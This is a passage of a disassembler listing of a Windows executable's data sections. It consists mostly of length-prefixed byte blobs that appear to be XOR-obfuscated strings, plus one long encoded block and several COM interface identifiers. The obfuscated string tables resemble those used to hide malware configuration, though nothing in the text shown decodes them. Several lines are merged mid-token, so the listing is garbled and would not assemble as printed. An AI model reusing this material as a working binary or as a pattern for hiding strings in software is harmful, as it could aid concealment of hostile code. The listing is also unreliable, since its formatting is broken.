word_55202A dw 0Fh ; DATA XREF: sub_441AE5+A6o
dd 133C6A4Fh, 3A6A2924h, 7D7C3523h, 23232B61h
db 0
byte_55203D db 10h, 0, 20h ; DATA XREF: sub_441AE5+5Fo
dd 577C5305h, 55055253h, 1213545Ah, 4C4C440Eh
db 0
byte_552051 db 5, 0, 0EEh ; DATA XREF: sub_440485+81Do
aKpP db 'ÀŠš',0
asc_55205A db 0Bh,0 ; DATA XREF: sub_44018C+D4o
dd 1C2A1059h, 35382C28h, 1D100C1Eh
db 0
byte_552069 db 0Dh, 0, 8Ch ; DATA XREF: sub_44018C+B8o
dd 0EDD8E3CFh, 0E9C1E7FFh, 0E9FECAE1h
db 0E9h, 0
word_55207A dw 0Ch ; DATA XREF: sub_44018C+9Co
dd 3B1D3172h, 1B061B1Ch, 81B1E13h
db 17h, 0
word_55208A dw 0Fh ; DATA XREF: sub_44018C+80o
dd 0CFD0DF9Ch, 0EEDAD8D5h, 0E8CFF1F3h, 0FBF2F5EEh
db 0
byte_55209D db 0Eh, 0, 0Fh ; DATA XREF: sub_44018C+64o
aLZafafFncfuj db 'L`Zafaf{fncfuj',0
byte_5520AF db 10h ; DATA XREF: sub_44018C:loc_4401D4o
dd 2D014200h, 23273001h, 2C0B2736h, 2C233631h
db 21h, 27h, 0
byte_5520C3 db 9 ; DATA XREF: sub_44018C+31o
dd 14177800h, 564A4B1Dh, 14141Ch
dword_5520D0 dd 4A250009h, 17164049h, 4949410Bh db 0
byte_5520DD db 5, 0, 74h ; DATA XREF: sub_43FF3A+1FBo
aQQ db 'Q',7,'(Q',7,0
word_5520E6 dw 5 ; DATA XREF: sub_43FF3A+176o
dd 406F391Ch
db 39h, 6Fh, 0
byte_5520EF db 4 ; DATA XREF: sub_43FF3A+Fo
dd 0AAFCD900h
db 85h, 0F3h, 0
byte_5520F7 db 18h ; DATA XREF: sub_43FCCD+1D9o
dd 75431000h, 757B7144h, 757E675Fh, 79786362h, 79624060h
dd 757C7966h
db 77h, 75h, 0
byte_552113 db 1 ; DATA XREF: sub_43FC04+51o
dd 2B7700h
dword_552118 dd 29420006h, 346F3329h db 3Ah, 0
word_552122 dw 8 ; DATA XREF: sub_43FB57:loc_43FB74o
dd 6D411732h, 174A465Fh
db 47h, 0
word_55212E dw 1 ; DATA XREF: sub_43F79F+43o
db 82h, 0D7h, 0
byte_552133 db 1 ; DATA XREF: sub_43F79F+2Co
dd 85E00h
dword_552138 dd 30600014h, 120F1433h, 5122305h, 29051401h, 114130Eh
; DATA XREF: sub_43F26D:loc_43F2ACo
dd 5030Eh
dword_552150 dd 6818000Bh, 6A776C6Bh, 7C367B7Dh db 2 dup(74h), 0
byte_55215F db 0Bh ; DATA XREF: sub_43F26D+1o
dd 1C1F6F00h, 0A1D001Bh, 30B410Ch
db 3, 0
word_55216E dw 0Dh ; DATA XREF: sub_43F031:loc_43F1F6o
db '´ÇÍÇÀÑÙÄÆÛÒİØÑ',0
byte_55217F db 6 ; DATA XREF: sub_43F031+186o
dd 293E5B00h, 3E38322Dh
db 0
byte_552189 db 1, 0, 26h ; DATA XREF: sub_43F031+FBo
db 2, 0
word_55218E dw 8 ; DATA XREF: sub_43F031:loc_43F0D2o
dd 70661535h, 767C6367h
db 70h, 0
word_55219A dw 6 ; DATA XREF: sub_43F031:loc_43F098o
aJmjbrs db 'Õ†Œ†˜',0
asc_5521A4 db 9,0 ; DATA XREF: sub_43EA2A+20Co
dw 1141h
a3_45 db '3.%4"5',8,'%',0
asc_5521B1 db ',',0 ; DATA XREF: sub_43EA2A+1FCo
db 49h
dd 1D0F061Ah, 0C1B081Eh, 2A200415h, 263A263Bh, 1E153D2Fh
dd 262D2720h, 7693A3Eh, 3C0A151Dh, 272C3B3Bh, 3B2C1F3Dh
dd 2726203Ah
db 0
byte_5521E1 db 9, 0, 77h ; DATA XREF: sub_43EA2A+19Do
dd 13180527h, 3E031402h
db 13h, 0
word_5521EE dw 29h ; DATA XREF: sub_43EA2A+18Do
dd 0CFC6DA89h, 0DBC8DEDDh, 0E0C4D5CCh, 0FAE6FBEAh, 0D5FDEFE6h
dd 0EDE7E0DEh, 0D5FAFEE6h, 0FBFBFCCAh, 0DFFDE7ECh, 0E0FAFBECh
db 0E6h, 0E7h, 0
byte_55221B db 1 ; DATA XREF: sub_43EA2A+171o
dd 0C8E600h
dword_552220 dd 210C0004h, 225429hdword_552228 dd 0E3800003h db 0BAh, 0DCh, 0
byte_55222F db 8 ; DATA XREF: sub_43EA2A:loc_43EAB3o
dd 1C4C6900h, 471C4C47h
db 4Ch, 1Ch, 0
byte_55223B db 12h ; DATA XREF: sub_43E9BF+4Co
dd 89BCEF00h, 0A99CA68Ch, 0BF8A8386h, 8A9B809Dh, 8B8A9B8Ch
db 0
byte_552251 db 7, 0, 28h ; DATA XREF: sub_43E9BF+28o
dd 64B4E5Bh, 44444Ch
dword_55225C dd 0B1C20007h, 0A6ECA1A4h db 2 dup(0AEh), 0
byte_552267 db 6 ; DATA XREF: sub_43E491+2AFo
dd 9B9BF000h, 8886DD81h
db 0
byte_552271 db 6, 0, 47h ; DATA XREF: sub_43E491+29Fo
a6j1? db ',,6j1?',0
byte_55227B db 6 ; DATA XREF: sub_43E491+220o
dd 0C1C1AA00h, 0D2DC87DBh
db 0
byte_552285 db 6, 0, 0EAh ; DATA XREF: sub_43E491+165o
aBbiT db '›Çœ’',0
asc_55228F db 8,0 ; DATA XREF: sub_43E491+155o
db 9Dh, 0B8h, 0EEh
dd 0E5E9F0C2h
db 0B8h, 0E8h, 0
byte_55229B db 6 ; DATA XREF: sub_43E491+116o
dd 1B1B7000h, 8065D01h
db 0
byte_5522A5 db 7, 0, 0C3h ; DATA XREF: sub_43E491+106o
dd 0AE9CB0E6h, 0F2BBB7h
dword_5522B0 dd 0D89B0012h, 0EFEBE2E9h, 0E9EBF5CEh, 0F8FEEFF4h, 0EFFADFEFh
; DATA XREF: sub_43E429:loc_43E46Ao
db 0FAh, 0
word_5522C6 dw 0Bh ; DATA XREF: sub_43E429+2Ao
dd 8D8697F4h, 0C6C78084h, 989890DAh
db 0
byte_5522D5 db 0Bh, 0, 0ECh ; DATA XREF: sub_43E429+1o
aPuxSIaa db '•œ˜ßŞÂˆ€€',0
dword_5522E4 dd 226B0011h, 190E1F05h, 4B1F0E05h, 71B132Eh, 190E1904h
; DATA XREF: sub_43E2F5+25o
dd 0
dword_5522FC dd 4, 450007h, 430048h, 5Ehdword_55230C dd 8DCE0016h, 0A5ADA7A2h, 0ADA081EEh, 0A19AEEABh, 0A0A18DEEh
; DATA XREF: sub_43CD37+F91o
dd 0BBA0A7BAh
db 0ABh, 0
word_552326 dw 6 ; DATA XREF: sub_43CD37+F81o
dd 40415614h, 5A5B40h
dword_552330 dd 0F7B2001Eh, 0E0FBE2EAh, 0FDFBE6F3h, 0F3F692FCh, 0B8B8F7E6h
; DATA XREF: sub_43CD37+ECEo
dd 0FFE6F3B8h, 0FCFBE292h, 0F6FDF192h
db 0F7h, 0
word_552352 dw 6 ; DATA XREF: sub_43CD37+EBEo
aXtztpe db 'Æ•’‡’…',0
dword_55235C dd 0CB0000h dword_552360 dd 2C690004h, 3D202Dhdword_552368 dd 2270004h, 521509hdword_552370 dd 3B090006h, 3B272C39h db 7Ch, 0
word_55237A dw 0 ; DATA XREF: sub_43CD37+C1Do
db 1Eh, 0
word_55237E dw 8 ; DATA XREF: sub_43CD37+C0Do
dd 0EDEFE3A0h, 0EFE2EFE2h
db 0F8h, 0
off_55238A dd offset dword_530000 ; DATA XREF: sub_43CD37+B53o
word_55238E dw 8 ; DATA XREF: sub_43CD37+B43o
aP3?2?2? db 'p3?=2?2?(',0
aN_0 db 'n',0 ; DATA XREF: sub_43CD37:loc_43D725o
dd 0D0DFE4B1h, 91D4DDD3h, 0D091DEC5h, 0DED9C5C4h, 0D4CBD8C3h
dd 0C294BB9Fh, 0DEC3C191h, 0C2C2D4D2h, 91D6DFD8h, 0C5DFD4D2h
dd 0D891C3D4h, 0DFC491C2h, 0D4DDD3D0h, 91DEC591h, 0D9C5C4D0h
dd 0CBD8C3DEh, 0DEC891D4h, 0D291C3C4h, 91D5C3D0h, 0BB9FC294h
dd 0D4DAD0FCh, 0C3DED291h, 0C5D2D4C3h, 0C2DFDED8h, 0D5DFD091h
dd 0C8C3C591h, 0D0D6D091h, 9FDFD8h
dword_55240C dd 713C000Ah, 59484F5Dh, 4E5D7F4Eh db 58h, 0
word_55241A dw 4 ; DATA XREF: sub_43CD37+9BCo
a63 db '`6)3!',0
word_552422 dw 1 ; DATA XREF: sub_43CD37+8F0o
db 8Ch, 0ACh, 0
byte_552427 db 6 ; DATA XREF: sub_43CD37+8E0o
dd 33346700h, 242E3326h
db 0
byte_552431 db 15h, 0, 83h ; DATA XREF: sub_43CD37+79Bo
aIgggG db '‰£££ÓÑÌÀÆĞĞÊÍÄ£ÅÂÊÏÆÇ',0
word_55244A dw 6 ; DATA XREF: sub_43CD37+78Bo
dd 0F2E7E0B3h, 0F0FAE7h
dword_552454 dd 400000h dword_552458 dd 0CE9D0006h, 0D4C9DCC9h ; sub_43CD37+A14o
db 0DEh, 0
word_552462 dw 6 ; DATA XREF: sub_43CD37+5A0o
dd 63797912h, 6A643Fh
dword_55246C dd 6B2E0008h, 41425E56h, 5C4B5Chdword_552478 dd 10540009h, 361B373Bh, 2037313Eh db 0
byte_552485 db 0Eh, 0, 0F5h ; DATA XREF: sub_43CD37+4C8o
aBfcvIsVSfjj db '¡”—¢œ›‘š‚¶™”††',0
byte_552497 db 4 ; DATA XREF: sub_43CB55:loc_43CB8Co
dd 0B4F2D700h
db 0EDh, 8Bh, 0
byte_55249F db 1 ; DATA XREF: sub_43C752+351o
dd 0EA9600h
dword_5524A4 dd 1F560019h, 15021318h, 761B1B19h, 20243305h, 6762433h
; DATA XREF: sub_43C752+2E8o
dd 21252537h, 25322439h
db 0
byte_5524C1 db 1, 0, 8Dh ; DATA XREF: sub_43C752+2D0o
; sub_43C752+3A1o
db 0F1h, 0
word_5524C6 dw 1 ; DATA XREF: sub_43C10A+342o
db 0Ch, 2Fh, 0
byte_5524CB db 1 ; DATA XREF: sub_43C10A+2EBo
dd 143700h
dword_5524D0 dd 92B10001h db 0
byte_5524D5 db 7, 0, 9Dh ; DATA XREF: sub_43C10A+233o
dd 0EDE9E9F5h, 0B2B2A7h
dword_5524E0 dd 0CAE90001h db 0
byte_5524E5 db 7, 0, 0EFh ; DATA XREF: sub_43C10A:loc_43C24Do
aZiiq db '‡››ŸÕÀÀ',0
dword_5524F0 dd 0E182040Bh, 0EAE1E7EAh, 0F0F2ECE7h, 0ACF1F1E7h, 0EDE4ECEBh
; DATA XREF: sub_43C10A+10o
dd 0EEEDE5A1h, 0EEEDF2E6h, 0EDE1ACEEh, 0ECEBA1EFh, 0EEEDE5F6h
dd 0EDE1ACE6h, 0F5F5A1EFh, 0E0E1ACF5h, 0F7F0ACF0h, 0F5F5F5A1h
dd 0E1F4E3ACh, 0E9E1E7EAh, 0A1F7F0ACh, 0F0EDF6F1h, 0FBE3F2EFh
dd 0EFEDE1ACh, 0F7F0E1A1h, 0ACF2EDF6h, 0ECA1F7ECh, 0E7ACF5E7h
dd 0E1ACE5E5h, 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h
dd 0EDE1ACF1h, 0F4E3A1EFh, 0E1E7EAE1h, 0F7F0ACE9h, 0E1F4E3A1h
dd 0E9E1E7EAh, 0F8EBE0ACh, 0F5F5F5A1h, 0EBE0E0ACh, 0F7F0ACECh
dd 0F1E3EFA1h, 0AFF0E7F6h, 0EDE1ACFAh, 0F5F5A1EFh, 0EDF2ACF5h
dd 0F1EBF8ECh, 0F1EFE3E1h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECE3E0ACh
dd 0E3E0AFE9h, 0E7F7F3ECh, 0ECE3E1AFh, 0ACE3E6E3h, 0F5A1E3E1h
dd 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h, 0F5F5A1EFh
dd 0EFE0ACF5h, 0EDE1ACEDh, 0E3F2A1EFh, 0EEE3F2FBh, 0EFEDE1ACh
dd 0E3E0E7A1h, 0EDE1ACFBh, 0F5F5A1EFh, 0E3E0ACF5h, 0E4EDE9ECh
dd 0F7E6E3EFh, 0E1ACE3F0h, 0F5A1EFEDh, 0E1ACF5F5h, 0ACE1E0EBh
dd 0A1EFEDE1h, 0ACF5F5F5h, 0ACE0F6F4h, 0F5A1F7F0h, 0E1ACF5F5h
dd 0ECE3E0F5h, 0EDE1ACE9h, 0EDE5A1EFh, 0EDF2E6EEh, 0E1ACEEEEh
dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h
dd 0F5F5A1EFh, 0EFEFACF5h, 0E9ECE3E0h, 0A1F7F0ACh, 0ACF5F5F5h
dd 0E3EBECF7h, 0F7F0F6F1h, 0F7F0ACEFh, 0EEEDE5A1h, 0EEEDF2E6h
dd 0EDE1ACEEh, 0F5F5A1EFh, 0EDF2ACF5h, 0F1EBF8ECh, 0F1EFE3E1h
dd 0EFEDE1ACh, 0F5F5F5A1h, 0F0EDF5ACh, 0E3E0E6EEh, 0EDACE9ECh
dd 0F5A1E5F0h, 0E1ACF5F5h, 0EBE6ECE3h, 0E7F6E3E6h, 0EBF0E7F4h
dd 0F0E7EBE4h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECEDF2ACh, 0E1F1EBF8h
dd 0ACF1EFE3h, 0A1EFEDE1h, 0ACF5F5F5h, 0E9ECE3E0h, 0ECEBE4EDh
dd 0ACE3EBE6h, 0A1EFEDE1h, 0ACF5F5F5h, 0E3E0E1EBh, 0F0ACE9ECh
dd 0F4E3A1F7h, 0E1E7EAE1h, 0F7F0ACE9h, 0F5F5F5A1h, 0ECE7F4ACh
dd 0F1F0EDE6h, 0E7EFE3ECh, 0A1F1F5ACh, 0ACF5F5F5h, 0ACE0EFE9h
dd 0F5A1F7F0h, 0ECACF5F5h, 0E3EFF6E7h, 0F6F1EBE5h, 0E1ACF0E7h
dd 0E9A1EFEDh, 0E3E9F4E3h, 0ECE7E1F8h, 0ACF0E7F6h, 0A1EFEDE1h
dd 0ACF5F5F5h, 0E6ECE7F4h, 0ECF1F0EDh, 0ACE7EFE3h, 0EFA1F1F5h
dd 0EEECEDFBh, 0E3E7ECEBh, 0F7EDE1E1h, 0B0F1F6ECh, 0E0E0E3ACh
dd 0E3ECFBE7h, 0ECEDEBF6h, 0E1ACEEE3h, 0E9F7ACEDh, 0EEECEDA1h
dd 0AFE7ECEBh, 0EBF1F7E0h, 0F1F1E7ECh, 0EDEEEEACh, 0F6F1E6FBh
dd 0E1ACE0F1h, 0E9F7ACEDh, 0F5F5F5A1h, 0EEEEE3ACh, 0E0E3EAE3h
dd 0E3E0E6E3h, 0E1ACE9ECh, 0F5A1EFEDh, 0F0ACF5F5h, 0E1ACE1E0h
dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h
dd 0F5F5A1EFh, 0EAACB3F5h, 0ACE1E0F1h, 0E9A1E3E1h, 0E7F0E0E5h
dd 0E1FAE3EEh, 0ACE0F7EEh, 0FBA1F7F0h, 0EDE0EFE3h, 0F8EBE0ACh
dd 0E6EBE9A1h, 0E0AFF1EDh, 0ACE9ECE3h, 0F5A1F7F0h, 0EEACF5F5h
dd 0EBE6E1E0h, 0F6E1E7F0h, 0F7E3EEACh, 0F6ECE7F0h, 0E0ECE3EBh
dd 0ACE9ECE3h, 0E0A1E3E1h, 0EEE1F0E3h, 0ACF1FBE3h, 0A1EFEDE1h
dd 0E3F6EDF6h, 0E4FBEEEEh, 0E0E7E7F0h, 0EBE9ECE3h, 0E1ACE5ECh
dd 0F5A1EFEDh, 0ECACF5F5h, 0E1ACE1E0h, 0B1B7A1E3h, 0E9ECE3E0h
dd 0EFEDE1ACh, 0F5F5F5A1h, 0ECE7F4ACh, 0F1F0EDE6h, 0E7EFE3ECh
dd 0A1ECF4ACh, 0ACF5F5F5h, 0AFE0B0E0h, 0F1F7F0F6h, 0EDE1ACF6h
dd 0F5F5A1EFh, 0E7F4ACF5h, 0F0EDE6ECh, 0EFE3ECF1h, 0F1F5ACE7h
dd 0E7F2EDA1h, 0ECE3E0ECh, 0EDE1ACE9h, 0E3F6A1EFh, 0E7ECAFF6h
dd 0E3E0F6E4h, 0F0ACE9ECh, 0E7F1A1F7h, 0E0E3EEE1h, 0A1F7F0ACh
dd 0F7E1E7F1h, 0FBF6EBF0h, 0ACE0E3EEh, 0E4A1F7F0h, 0E3EAF6E7h
dd 0E0ACE6F0h, 0E5A1F8EBh, 0FAECEDF0h, 0ECE3EEF2h, 0ACF1F6E7h
dd 0F4A1F7F0h, 0EDE6ECE7h, 0E3ECF1F0h, 0F4ACE7EFh
db 0ECh, 0A1h, 0
byte_5528FF db 1 ; DATA XREF: sub_43B946:loc_43BBF8o
dd 0C09C00h
dword_552904 dd 1E730006h, 1E101E16h db 3, 0
word_55290E dw 6 ; DATA XREF: sub_43B841+D7o
aML db 'ß²º²¬º«',0
dword_552918 dd 0FE8D0006h, 0ECEEFFF9h db 0F9h, 0
word_552922 dw 6 ; DATA XREF: sub_43B841+ADo
aMannov db 'Á¬ ®¢',0
dword_55292C dd 73120004h, 7B7D66hdword_552934 dd 731E0006h, 6E7D737Bh db 67h, 0
word_55293E dw 5 ; DATA XREF: sub_43B841+6Eo
aVnz db 'ð±¢§',0
byte_552947 db 4 ; DATA XREF: sub_43B841+59o
dd 0A0B4D200h
db 2 dup(0B7h), 0
byte_55294F db 6 ; DATA XREF: sub_43B841+44o
dd 0FFF88B00h, 0F2FBE8F9h
db 0
byte_552959 db 8, 0, 0FAh ; DATA XREF: sub_43B841+2Fo
aMikiufo db 'Œ‰Šˆ“”œ',0
asc_552965 db 7,0 ; DATA XREF: sub_43B841+1Ao
aT1 db 'T ;!$$1&',0
dword_552970 dd 8FFD0004h, 99939Chdword_552978 dd 261000Ah, 0D051513h, 0D054F0Dh db 0Dh, 0
word_552986 dw 0Ah ; DATA XREF: sub_43B004+1o
aD60J db 'D',27h,'60 ((j ((',0
dword_552994 dd 0CAEB0001h db 0
byte_552999 db 1, 0, 0Eh ; DATA XREF: sub_43A985+229o
db 24h, 0
word_55299E dw 4 ; DATA XREF: sub_43A985+1E2o
aUUuu db 'îêîîî',0
asc_5529A6 db 0Bh,0 ; DATA XREF: sub_43A8C0:loc_43A90Ao
aFzcberbvlkre db 'ä§–…¢‹Š¥',0
asc_5529B5 db 9,0 ; DATA XREF: sub_43A8C0+33o
db 6Ch
dd 5F05080Bh, 8425Eh
db 2 dup(0)
word_5529C2 dw 9 ; DATA XREF: sub_43A8C0+1o
dd 7C717215h, 713B2726h, 3A007979h, 2F2Fh
dword_5529D4 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529E4 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_43A324+214o ...
dword_5529F4 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; sub_43A324+199o ...
dword_552A04 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A14 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A24 dd 20400h, 0 ; sub_43E94C+1Co ...
dd 0C0h, 46000000h
dword_552A34 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44300F+1BBo
dword_552A44 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_4441D8+60o
dword_552A54 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44300F+580o ...
dword_552A64 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A74 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A84 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A94 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552AA4 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 53h dup(0)
; DATA XREF: sub_43A324+13Ao
; sub_43EC94+A0o ...
_data ends
; Section 6. (virtual address 00153000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00152C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 553000h
dd 2Bh dup(0)
dword_5530AC dd 0 dword_5530B0 dd 0 dword_5530B4 dd 0 align 10h
dword_5530C0 dd 0 dword_5530C4 dd 0 dword_5530C8 dd 0 dword_5530CC dd 0 dword_5530D0 dd 0 dword_5530D4 dd 0 dword_5530D8 dd 0 dword_5530DC dd 0 align 1000h
_idata2 ends
end start